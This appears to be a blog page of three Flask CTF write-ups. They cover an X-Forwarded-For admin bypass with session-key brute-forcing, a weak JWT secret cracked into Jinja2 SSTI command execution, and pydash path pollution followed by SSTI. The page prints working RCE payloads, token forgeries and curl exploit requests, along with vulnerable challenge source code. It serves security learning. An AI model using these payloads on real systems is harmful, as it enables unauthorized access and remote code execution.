Flask on HitCat

X-Forwarded-For 403 bypass and Flask session forgery - Pragyan CTF 2025

Sun, 09 Feb 2025 00:00:00 +0000

Introduction

The website presents a web interface with several tabs: Home, About Us, Features, and Admin Panel. For the challenge, we have access to an XML file called data.xml containing the following information:

<company>
    <department id="1" name="Confidential">
        <employee>
            <name>Confidential</name>
            <id>EMP007</id>
            <details>
                <position>Confidential</position>
                <selfDestructCode>p_ctf{fake_flag}</selfDestructCode>
            </details>
        </employee>
    </department>
</company>

Access to the different tabs is allowed but does not contain useful information or input fields. However, accessing /admin returns a 403 error.

Context Explanation

To start the challenge, we don’t have much information, but we have an admin panel that denies us entry. We quickly realize that we need to find a way to access this panel to obtain the flag.

Note: The flag is split into two parts, which we will obtain at different stages of the exploitation.

Directive

We are a software company providing intelligent solutions. We have received several awards for being the best forwarding company locally. Can you find the missing part to complete this challenge?

Solution

Accessing the Admin Panel

After several attempts to access the admin panel, we succeeded by using the X-Forwarded-For header with the value 127.0.0.1 to simulate a request coming from the local address (hence the challenge name, Finding X).

curl https://findingx.ctf.prgy.in/admin -I
HTTP/2 403
server: gunicorn
date: Sun, 09 Feb 2025 15:27:00 GMT
content-type: text/html; charset=utf-8
content-length: 1442

curl -H "X-Forwarded-For: 127.0.0.1" https://findingx.ctf.prgy.in/admin -I
HTTP/2 200
server: gunicorn
date: Sun, 09 Feb 2025 15:27:05 GMT
content-type: text/html; charset=utf-8
content-length: 4995

Now we access the admin page, but no flag is found.

Search Functionality

The search functionality allows us to search for employees. We can try to search for an employee using the information in the XML file, but we always get the error message “Employee doesn’t exist.”

The search calls an API at the URL /api/search:

curl -d '{"search": "EMP007"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee doesn't exist."}

By experimenting with the search functionality, we notice that when we search for p, we get a different response:

curl -d '{"search": "p"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

We know that the flag starts with p_ctf{, so it might be a SQL start-with search. We explore this further:

curl -d '{"search": "p_"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

curl -d '{"search": "p_c"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

curl -d '{"search": "p_ct"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

curl -d '{"search": "p_ctf"}' -H 'Content-Type: application/json' https://findingx.ctf.prgy.in/api/search
{"message":"Employee exists."}

Retrieving the First Part of the Flag

We created a script to automate the search for the flag:

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "https://findingx.ctf.prgy.in/api/search"

headers = {
    "Host": "findingx.ctf.prgy.in",
    "Content-Type": "application/json"
}

def send_request(search_term):
    data = {"search": search_term}
    response = requests.post(url, headers=headers, json=data)
    return search_term, response.text

characters = "abcdefghijklmnopqrstuvwxyz0123456789_-"

def bruteforce():
    current_search = "p_ctf{"
    while True:
        found = False
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = [executor.submit(send_request, current_search + char) for char in characters]
            for future in as_completed(futures):
                search_term, response = future.result()
                if "Employee exists." in response:
                    current_search = search_term
                    found = True
                    print(f"Current search term: {current_search}")
                    break
        if not found:
            break
    return current_search

result = bruteforce()
print(f"The complete search term is: {result}")

The output:

python retreive_flag.py
Current search term: p_ctf{i
Current search term: p_ctf{i_
Current search term: p_ctf{i_h
Current search term: p_ctf{i_h4
Current search term: p_ctf{i_h4t
Current search term: p_ctf{i_h4t3
Current search term: p_ctf{i_h4t3_
Current search term: p_ctf{i_h4t3_b
Current search term: p_ctf{i_h4t3_br
Current search term: p_ctf{i_h4t3_br9
Current search term: p_ctf{i_h4t3_br97
Current search term: p_ctf{i_h4t3_br97f
Current search term: p_ctf{i_h4t3_br97f0
Current search term: p_ctf{i_h4t3_br97f0r
Current search term: p_ctf{i_h4t3_br97f0r6
Current search term: p_ctf{i_h4t3_br97f0r63
Current search term: p_ctf{i_h4t3_br97f0r63_
The complete search term is: p_ctf{i_h4t3_br97f0r63

We have the first part of the flag, but we still need the second part.

Flag Part 1: p_ctf{i_h4t3_br97f0r63

Flask Session

When accessing the homepage, the server assigns us a session cookie:

HTTP/2 200 OK
Server: gunicorn
Date: Sun, 09 Feb 2025 15:43:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1227
Vary: Cookie
Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg; HttpOnly; Path=/

On the admin panel page, there is a mention: Current Access Level: Guest and further down: 💡 Tip: Make sure you have the right permissions to access sensitive data. This suggests that our goal is to increase our role.

The assigned session is a Flask session, which once decoded gives us our username:

flask-unsign -c 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg' -d
{'username': 'guest'}

We can try to brute-force the secret key with rockyou wordlist:

flask-unsign -c 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg' --unsign --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
[*] Session decodes to: {'username': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 97024 attempts
b'ilovecookies'

The script found the secret key used to sign the session cookie: ilovecookies.

We can now forge a session with username = admin:

flask-unsign -c '{"username": "admin"}' --sign --secret 'ilovecookies'
eyJ1c2VybmFtZSI6ImFkbWluIn0.Z6jOVA.fDZ_2SDoOlh7csDMh_S_E88ycBA

And make a request with this session to /admin with the X-Forwarded-For header:

curl -H "X-Forwarded-For: 127.0.0.1" -H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Z6jOVA.fDZ_2SDoOlh7csDMh_S_E88ycBA" https://findingx.ctf.prgy.in/admin
{"flag_part_2":"b4d_4nd_i_c4n_n0t_l13}","message":"Welcome Admin!"}

Now we have the complete flag: p_ctf{i_h4t3_br97f0r63_b4d_4nd_i_c4n_n0t_l13}

Tips & Tricks

Header Manipulation: Always try manipulating headers to bypass restrictions. In this case, using the X-Forwarded-For header helped simulate a request from the local address.
Automation: Automating repetitive tasks, such as bruteforcing the flag, can save time and reduce errors. Using Python’s concurrent.futures module can help with parallel execution.
Session Manipulation: Understanding how sessions work, especially in frameworks like Flask, can be crucial. Tools like flask-unsign can help decode and manipulate session cookies.
Brute-Forcing Secrets: Sometimes, secret keys can be brute-forced using wordlists. Tools like flask-unsign with the --wordlist option can be very effective in finding the secret key.

Cracking a weak JWT secret into Jinja2 SSTI RCE - HeroCTF v5

Wed, 15 May 2024 00:00:00 +0000

Introduction

One of your friends had an argument with a Flask developer. He tried to handle it on his own, but he ended up hitting a roadblock… Can you put your hacking skills to use and help him out?

You should probably be able to access the server hosting your target’s latest project, right? I heard they make a lot of programming mistakes…

Solution

When we launch the challenge, we arrive at an error page that says:

curl 'http://dyn-06.heroctf.fr:13825/' -v
*   Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET / HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:02:58 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 70
< Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww; Path=/
< Connection: close
<
* Closing connection 0
<h2>Invalid operation</h2><br><p>Example: /?op=substract&n1=5&n2=2</p>

On this request, we can see several things:

The server is using Werkzeug 2.3.4 and Python 3.10.6.
A cookie token is set with the value eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww.
The server tells us that we can perform operations with the op, n1, and n2 parameters.

First Lead: Werkzeug

Out of curiosity, let’s check if the debug console of Werkzeug is enabled.

If it is enabled, then the /console endpoint will be accessible, and we might potentially be able to execute Python code.

curl 'http://dyn-06.heroctf.fr:13825/console' -v
*   Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /console HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 404 NOT FOUND
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:06:20 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 84
< Connection: close
<
* Closing connection 0
<h2>/console was not found</h2><br><p>Only routes / and /adminPage are available</p>

We can see that the endpoint is not available, but we can see that the /adminPage endpoint is accessible.

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -v
*   Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:06:49 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 22
< Connection: close
<
* Closing connection 0
<h2>Invalid token</h2>

We can access the endpoint, but we get a 403 FORBIDDEN error with the message Invalid token.

This means that the token cookie used for authentication is invalid.

Second Lead: Session Token

To proceed, let’s examine the content of the token cookie to see what type of token is being used.

At first glance, the token format resembles a session token, such as a JSON Web Token (JWT), as it consists of 3 parts encoded in base64 and separated by ..

To verify, let’s use the website jwt.io to decode the token.

The content of the JWT is:

{
    "role": "guest"
}

The JWT header is:

{
    "typ": "JWT",
    "alg": "HS256"
}

My first thought was to test the usual JWT attacks, such as changing the algorithm to none, but it didn’t work.

So, I thought of another possible attack on JWTs and realized that the token could simply be signed with a weak key.

To test this hypothesis, I used the tool jwt-cracker, which you can install with npm install --global jwt-cracker.

C:\>jwt-cracker -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww
SECRET FOUND: key
Time taken (sec): 0.888
Attempts: 100000

Indeed, the key used to sign the JWT is key.

With this secret, we can sign our own JWT with the role admin and inject it into the token cookie.

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY' -v
*   Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY
>
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:17:30 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 15
< Connection: close
<
* Closing connection 0
Welcome admin !

Yay! We are logged in as admin!

But… we don’t have the flag…

Third Lead: Injection / RCE

Since we don’t have much information about the challenge and the console is disabled, we can assume that there is some kind of injection vulnerability.

The only moment in the challenge where I saw user input reflected in the server response is when accessing the /adminPage endpoint with a valid identifier (Welcome admin!) or an invalid one (Invalid token).

I thought, maybe the server-side control is a simple comparison like this:

if role === "key":
    return "Invalid token"
else:
    return "Welcome " + role + "!"

If that’s the case, we can use an injection to execute arbitrary code.

To test this hypothesis, I used the following payload:

{
    "role": "{{config}}"
}

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8' -v
*   Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:23:37 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1145
< Connection: close
<
Sorry but you can't access this page, you're a '&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;SECRET_KEY&#39;: None, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: None, &#39;JSON_SORT_KEYS&#39;: None, &#39;JSONIFY_PRETTYPRINT_REGULAR&#* Closing connection 0
39;: None, &#39;JSONIFY_MIMETYPE&#39;: None, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093}&gt;'

The injection works, so we can execute arbitrary code and try to retrieve the flag.

Retrieving the Flag

By exploring a bit of SSTI Python on HackTricks, I found a payload that allows executing an RCE that is not dependent on the version of __builtins__:

{
    "role": "{{ cycler.__init__.__globals__.os.popen('ls').read() }}"
}

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs' -v
*   Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:27:41 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 65
< Connection: close
<
Sorry but you can't access this page, you're a 'app.py
flag.txt
* Closing connection 0
'

There are two files in the current directory, app.py and flag.txt. So, we can retrieve the flag using the following payload:

{
    "role": "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
}

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8' -v
*   Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:29:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 77
< Connection: close
<
Sorry but you can't access this page, you're a 'Hero{sst1_fl4v0ur3d_c0Ok1e}
* Closing connection 0
'

Flag: Hero{sst1_fl4v0ur3d_c0Ok1e}

Tips & Tricks

Always check error pages, as they sometimes share valuable information.
In a Python application, always try SSTI (Server-Side Template Injection) on fields returned by the server.
Always check the HTTP response headers.
In a Flask application, session tokens can be cracked, and they are not always Flask tokens (like in this case, a JWT).
Running jwt-cracker on a JWT token can be very useful at the beginning of a CTF (Capture The Flag) if there is a weak secret.
Try template injections in JWTs, as sometimes they can lead to SSTI (Server-Side Template Injection).

Source disclosure to Jinja2 SSTI RCE on Flask - PwnMe 2023

Sun, 07 May 2023 00:00:00 +0000

Introduction

This challenge is a WEB challenge from the PWNME CTF.

Context Explanation

A company needs a website to generate a QR Code. They asked a freelancer to do the job.

Since the website went live, they noticed strange behavior on their server.

They need you to audit their code and help them fix their problem.

Directive

The flag is located in /app/flag.txt

Solution

The web application to test is a blog that allows you to create articles and display them.

You can create and display articles, even if you are not logged in.

There is a section to create an account and log in.

I started by analyzing the challenge sources that were available for download.

The application is a Python web site with the Flask framework, which uses only two dependencies:

Flask: latest
PyDash: 5.1.2

Analyzing app.py code

I started by analyzing the app.py file which is the main file of the application.

from flask import Flask, render_template, render_template_string, request, redirect, session, sessions
from users import Users
from articles import Articles


users = Users()
articles  = Articles()
app = Flask(__name__, template_folder='templates')
app.secret_key = '(: secret :)'


@app.context_processor
def inject_user():
    return dict(session=session)

@app.route("/create", methods=["POST"])
def create_article():
    name, content = request.form.get('name'), request.form.get('content')
    if type(name) != str or type(content) != str or len(name) == 0:
        return redirect('/articles')
    articles.set(name, content)
    return redirect('/articles')

@app.route("/remove/<name>")
def remove_article(name):
    articles.remove(name)
    return redirect('/articles')

@app.route("/articles/<name>")
def render_page(name):
    article_content = articles[name]
    if article_content == None:
        pass
    if 'user' in session and users[session['user']['username']]['seeTemplate'] != False:
        article_content = render_template_string(article_content)
    return render_template('article.html', article={'name':name, 'content':article_content})

@app.route("/articles")
def get_all_articles():
    return render_template('articles.html', articles=articles.get_all())

@app.route('/show_template')
def show_template():
    if 'user' in session and users[session['user']['username']]['restricted'] == False:
        if request.args.get('value') == '1':
            users[session['user']['username']]['seeTemplate'] = True
            session['user']['seeTemplate'] = True
        else:
            users[session['user']['username']]['seeTemplate'] = False
            session['user']['seeTemplate'] = False
    return redirect('/articles')


@app.route("/register", methods=["POST", "GET"])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    username, password = request.form.get('username'), request.form.get('password')
    if type(username) != str or type(password) != str:
        return render_template("register.html", error="Wtf are you trying bro ?!")
    result = users.create(username, password)
    if result == 1:
        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
        return redirect("/")
    elif result == 0:
        return render_template("register.html", error="User already registered")
    else:
        return render_template("register.html", error="Error while registering user")


@app.route("/login", methods=["POST", "GET"])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    username, password = request.form.get('username'), request.form.get('password')
    if type(username) != str or type(password) != str:
        return render_template('login.html', error="Wtf are you trying bro ?!")
    if users.login(username, password) == True:
        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
        return redirect("/")
    else:
        return render_template("login.html", error="Error while login user")


@app.route('/logout')
def logout():
    session.pop('user')
    return redirect('/')

@app.route('/')
def index():
    return render_template("home.html")


app.run('0.0.0.0', 5000, debug=True)

Here we notice several things:

The Flask server is in debug mode, which activates the /console endpoint that allows you to execute Python code on the server.
There is a session variable seeTemplate which allows you to display or not the content of the articles as a template, potentially allowing template injection: article_content = render_template_string(article_content).
The secret key is declared in the code and not in the environment variables, so we can potentially retrieve or overwrite its value to sign cookies.

Analyzing users.py code

I then looked at the users.py file that manages the users.

import hashlib

class Users:

    users = {}

    def __init__(self):
        self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

    def create(self, username, password):
        if username in self.users:
            return 0
        self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}
        return 1
    
    def login(self, username, password):
        if username in self.users and self.users[username]['password'] == hashlib.sha256(password.encode()).hexdigest():
            return True
        return False
    
    def seeTemplate(self, username, value):
        if username in self.users and self.users[username].restricted == False:
            self.users[username].seeTemplate = value

    def __getitem__(self, username):
        if username in self.users:
            return self.users[username]
        return None

We see in this file that there is an admin user with the password None and seeTemplate True:

self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

By default, when you create a user via the register function, the user is restricted and cannot view templates:

self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}

We also see that the encryption method used for passwords is sha256.

Analyzing articles.py code

The last Python file to analyze is articles.py which manages the articles.

import pydash

class Articles:

    def __init__(self):
        self.set('welcome', 'Test of new template system: {%block test%}Block test{%endblock%}')

    def set(self, article_name, article_content):
        pydash.set_(self, article_name, article_content)
        return True


    def get(self, article_name):
        if hasattr(self, article_name):
            return (self.__dict__[article_name])
        return None
    
    def remove(self, article_name):
        if hasattr(self, article_name):
            delattr(self, article_name)

    def get_all(self):
        return self.__dict__

    def __getitem__(self, article_name):
        return self.get(article_name)

Here, only one thing is interesting: the set function that allows you to create an article. We see that the set_ function from the pydash library is used to create a class attribute with the article name and the article content.

Exploitation

Unfortunately for us, the /console endpoint is not accessible because it is protected by a code. There are ways to bypass this protection by having access to certain files on the machine, but this is not possible in this challenge.

There are several ways to exploit this application, but all involve creating an article with a specific name.

To understand the exploitation, we need to look at the set_ function. Here is the official documentation of the pydash library:

pydash.objects.set_(obj, path, value)

Assigns the value of an object described by the path. If part of the object's path does not exist, it will be created.

import pydash

pydash.set_({}, 'a.b.c', 1)
# Output: {'a': {'b': {'c': 1}}}

pydash.set_({}, 'a.0.c', 1)
# Output: {'a': {'0': {'c': 1}}}

pydash.set_([1, 2], '[2][0]', 1)
# Output: [1, 2, [1]]

pydash.set_({}, 'a.b[0].c', 1)
# Output: {'a': {'b': [{'c': 1}]}}

Source: https://pydash.readthedocs.io/en/v5.1.2/api.html#pydash.objects.set_

In our case, the set_ function is called with self as the first parameter, which corresponds to the Articles class. The second parameter is the name of the article, and the third parameter is the content of the article.

Since we control the title and content of the article, we can abuse the path to overwrite existing values or create new values.

For example, with an article named __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.users.admin.password, we can overwrite the value of the hashed administrator password and thus access their account.

Admin account access

By creating an article with this name and content 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 (“admin” in SHA256), we have just reset the administrator’s password.

import hashlib

print(hashlib.sha256("admin".encode()).hexdigest())
#8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

Now we can log in with admin:admin and have access to the seeTemplate feature.

Access to the flag

Now that we have access to the admin account and the ability to view templates, we need to find a way to access the flag.

To do this, we remember that when creating an article, the content is passed through the Flask render_template_string function, which renders a template from a string.

By exploiting this function, we can inject a template and list files.

{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

We can execute arbitrary commands on the server. All that’s left is to read the flag.

{{ config.__class__.from_envvar.__globals__.import_string("os").popen("cat /flag.txt").read() }}

Flag : PWNME{de3_pOL1tTiOn_cAn_B3_D3s7rUctv3}

Alternative solution

It is also possible to use the set_ function from pydash to overwrite the value of the secret key.

In a Flask application using sessions, the secret key is used to sign session cookies. If we manage to overwrite the value of the secret key, we can sign our own session cookies and thus log in with the admin account.

We can then use a tool like flask-unsign to read the content of a regular user’s session cookie, modify the payload to replace the username with admin, and sign the cookie with our new secret key.

Tips & Tricks

Read the documentation of the libraries used.
Identify the entry points of the application.
Identify places where user data is used.
The set_ function from the pydash library allows creating class attributes from a string and can be used to overwrite existing values or create new ones.
Test SSTI (Server-Side Template Injection) with payloads like {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} on places where user data is used and interpreted.